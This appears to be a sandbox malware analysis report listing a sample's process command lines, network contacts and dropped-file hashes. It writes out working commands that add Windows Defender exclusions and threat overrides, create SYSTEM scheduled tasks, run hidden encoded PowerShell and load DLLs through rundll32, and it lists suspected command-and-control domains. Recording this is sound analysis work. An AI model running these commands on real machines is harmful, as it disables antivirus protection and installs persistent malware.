"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FDxSmxakU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FDxSmxakU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HIJHyLDMFVIrArjMcDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HIJHyLDMFVIrArjMcDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QSBDBQxFkAUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QSBDBQxFkAUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TjUkTRKCSiJkC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TjUkTRKCSiJkC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tEZYwqVfuQYU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tEZYwqVfuQYU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\IrAQtycGxHJKWAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\IrAQtycGxHJKWAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\XYiMwitzkSXbvcQKY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\XYiMwitzkSXbvcQKY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\BhywXhhbcuWpvQvH\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\BhywXhhbcuWpvQvH\" /t REG_DWORD /d 0 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FDxSmxakU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FDxSmxakU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FDxSmxakU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HIJHyLDMFVIrArjMcDR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HIJHyLDMFVIrArjMcDR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QSBDBQxFkAUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QSBDBQxFkAUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TjUkTRKCSiJkC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TjUkTRKCSiJkC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tEZYwqVfuQYU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tEZYwqVfuQYU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\IrAQtycGxHJKWAVB /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\IrAQtycGxHJKWAVB /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\XYiMwitzkSXbvcQKY /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\XYiMwitzkSXbvcQKY /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\BhywXhhbcuWpvQvH /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\BhywXhhbcuWpvQvH /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gHoIuxlqL" /SC once /ST 04:25:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gHoIuxlqL"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

\??\c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

\??\c:\windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gHoIuxlqL"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "hzhNAJUNSjjdIpELG" /SC once /ST 03:08:55 /RU "SYSTEM" /TR "\"C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe\" AX /TcNOdidhp 385104 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "hzhNAJUNSjjdIpELG"

C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe

C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe AX /TcNOdidhp 385104 /S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2152 -s 944

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "bOYLEOfZCACcRQIJvG"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\FDxSmxakU\tpuPfd.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FnGigHNXGPuYnow" /V1 /F

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "FnGigHNXGPuYnow2" /F /xml "C:\Program Files (x86)\FDxSmxakU\hRyNhQz.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /END /TN "FnGigHNXGPuYnow"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "FnGigHNXGPuYnow"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "DfiACOcNeeEuzZ" /F /xml "C:\Program Files (x86)\tEZYwqVfuQYU2\lPMjDmV.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "DXKOGWDrZMiLW2" /F /xml "C:\ProgramData\IrAQtycGxHJKWAVB\GgSMcwV.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "WycbLMNWffCalOPaD2" /F /xml "C:\Program Files (x86)\HIJHyLDMFVIrArjMcDR\ESFWuTA.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "SCruIlpVLZHSGSIWWcc2" /F /xml "C:\Program Files (x86)\TjUkTRKCSiJkC\EwNGXZF.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gXgiPdpSGbihZCqEr" /SC once /ST 01:20:51 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\BhywXhhbcuWpvQvH\cGCpnPFL\JwnnGAL.dll\",#1 /ydidlSdK 385104" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gXgiPdpSGbihZCqEr"

\??\c:\windows\system32\rundll32.EXE

c:\windows\system32\rundll32.EXE "C:\Windows\Temp\BhywXhhbcuWpvQvH\cGCpnPFL\JwnnGAL.dll",#1 /ydidlSdK 385104

C:\Windows\SysWOW64\rundll32.exe

c:\windows\system32\rundll32.EXE "C:\Windows\Temp\BhywXhhbcuWpvQvH\cGCpnPFL\JwnnGAL.dll",#1 /ydidlSdK 385104

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "hzhNAJUNSjjdIpELG"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 684

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4900 -s 1972

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gXgiPdpSGbihZCqEr"

C:\Users\Admin\AppData\Local\Temp\service123.exe

C:\Users\Admin\AppData\Local\Temp\/service123.exe

Network

Country Destination Domain Proto
US 103.130.147.211:80 103.130.147.211 tcp
US 8.8.8.8:53 211.147.130.103.in-addr.arpa udp
US 103.130.147.211:80 103.130.147.211 tcp
US 103.130.147.211:80 103.130.147.211 tcp
US 8.8.8.8:53 muggudrowiwm.shop udp
US 8.8.8.8:53 preachstrwnwjw.shop udp
US 104.21.47.108:443 preachstrwnwjw.shop tcp
US 8.8.8.8:53 complainnykso.shop udp
US 104.21.48.131:443 complainnykso.shop tcp
US 8.8.8.8:53 basedsymsotp.shop udp
US 172.67.221.198:443 basedsymsotp.shop tcp
US 8.8.8.8:53 108.47.21.104.in-addr.arpa udp
US 8.8.8.8:53 charistmatwio.shop udp
US 104.21.90.30:443 charistmatwio.shop tcp
US 8.8.8.8:53 131.48.21.104.in-addr.arpa udp
US 8.8.8.8:53 grassemenwji.shop udp
US 104.21.48.158:443 grassemenwji.shop tcp
US 8.8.8.8:53 198.221.67.172.in-addr.arpa udp
US 8.8.8.8:53 30.90.21.104.in-addr.arpa udp
US 8.8.8.8:53 ignoracndwko.shop udp
US 172.67.207.50:443 ignoracndwko.shop tcp
US 8.8.8.8:53 158.48.21.104.in-addr.arpa udp
US 103.130.147.211:80 103.130.147.211 tcp
US 8.8.8.8:53 stitchmiscpaew.shop udp
US 104.21.26.150:443 stitchmiscpaew.shop tcp
US 8.8.8.8:53 50.207.67.172.in-addr.arpa udp
US 8.8.8.8:53 commisionipwn.shop udp
US 172.67.218.77:443 commisionipwn.shop tcp
US 8.8.8.8:53 150.26.21.104.in-addr.arpa udp
US 8.8.8.8:53 steamcommunity.com udp
GB 2.22.99.85:443 steamcommunity.com tcp
US 8.8.8.8:53 77.218.67.172.in-addr.arpa udp
US 8.8.8.8:53 tenntysjuxmz.shop udp
US 172.67.141.209:443 tenntysjuxmz.shop tcp
US 8.8.8.8:53 85.99.22.2.in-addr.arpa udp
US 8.8.8.8:53 209.141.67.172.in-addr.arpa udp
US 8.8.8.8:53 thirtv13sb.top udp
RU 195.133.13.230:80 thirtv13sb.top tcp
US 8.8.8.8:53 230.13.133.195.in-addr.arpa udp
US 8.8.8.8:53 58yongzhe.com udp
RU 194.58.114.223:80 194.58.114.223 tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.129.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 223.114.58.194.in-addr.arpa udp
US 8.8.8.8:53 233.129.159.162.in-addr.arpa udp
US 8.8.8.8:53 24.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 service-domain.xyz udp
US 54.210.117.250:443 service-domain.xyz tcp
US 8.8.8.8:53 r11.o.lencr.org udp
GB 2.18.190.73:80 r11.o.lencr.org tcp
US 8.8.8.8:53 250.117.210.54.in-addr.arpa udp
US 8.8.8.8:53 168.245.100.95.in-addr.arpa udp
US 8.8.8.8:53 73.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.179.227:80 c.pki.goog tcp
US 8.8.8.8:53 227.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 234.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.179.227:80 o.pki.goog tcp
US 8.8.8.8:53 clients2.google.com udp
GB 216.58.204.78:443 clients2.google.com tcp
US 8.8.8.8:53 clients2.googleusercontent.com udp
GB 142.250.200.1:443 clients2.googleusercontent.com tcp
US 8.8.8.8:53 78.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 1.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 api4.check-data.xyz udp
US 44.236.110.137:80 api4.check-data.xyz tcp
US 8.8.8.8:53 27.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 137.110.236.44.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs

MD5 5894fc443d20e14cf58c39182e36b005
SHA1 b499cc3083b0f78dcba99f371e03b1fba280f9f0
SHA256 b2771d1657dde2b930007d61ff633919560d9aa7a0a07d9671c962721ed6d88d
SHA512 f4d8459a7d81f8c7bb4c6ccdef7404032117b9423fb63613d0ad8918453f8078c2ae308ad1167cd7f7b7a409a5807307712b38f3616f6d15c394efd44a65109c

C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe

MD5 5a5d6ad84a7462708c1f4d51ad7ee9cb
SHA1 de68d6b39aef7dcd49216308110d7b1be4cbf649
SHA256 64863ef0c89a91f133ac968f1774e39c0c7fa5c69beb825b3db5e55c4ba60987
SHA512 0cd56d1e7cc34bd56acebd94ee9370ec7aee90b7f86ea6234a6147480d84c4581a5fac85ce73b0cd00a7f7df5e830e4c4dca597ad037a32e84b769b369b50e22

C:\Users\Admin\AppData\Local\Temp\_MEI42122\python312.dll

MD5 0eac9fa387647c388fab4239bfe5a0b5
SHA1 fafb679a58b8d85b50af18a4c0a7402fa890ee39
SHA256 65900b1bc22af5bb974385f7f2a8742ffd12860010cbe0aedb62ff5598998414
SHA512 70042322b98681c73f83f05e03f61a8ad985944cf07633653706c9b87be738e6698099f40328058ee80d4063f8e85aba7c674c3af079cf082376fb1dc9005e86

C:\Users\Admin\AppData\Local\Temp\_MEI42122\VCRUNTIME140.dll

MD5 17f01742d17d9ffa7d8b3500978fc842
SHA1 2da2ff031da84ac8c2d063a964450642e849144d
SHA256 70dd90f6ee01854cecf18b1b6d1dfbf30d33c5170ba07ad8b64721f0bdcc235e
SHA512 c4e617cd808e48cc803343616853adf32b7f2e694b5827392219c69145a43969384d2fc67fa6fa0f5af1ca449eb4932004fbcdd394a5ba092212412b347586f0

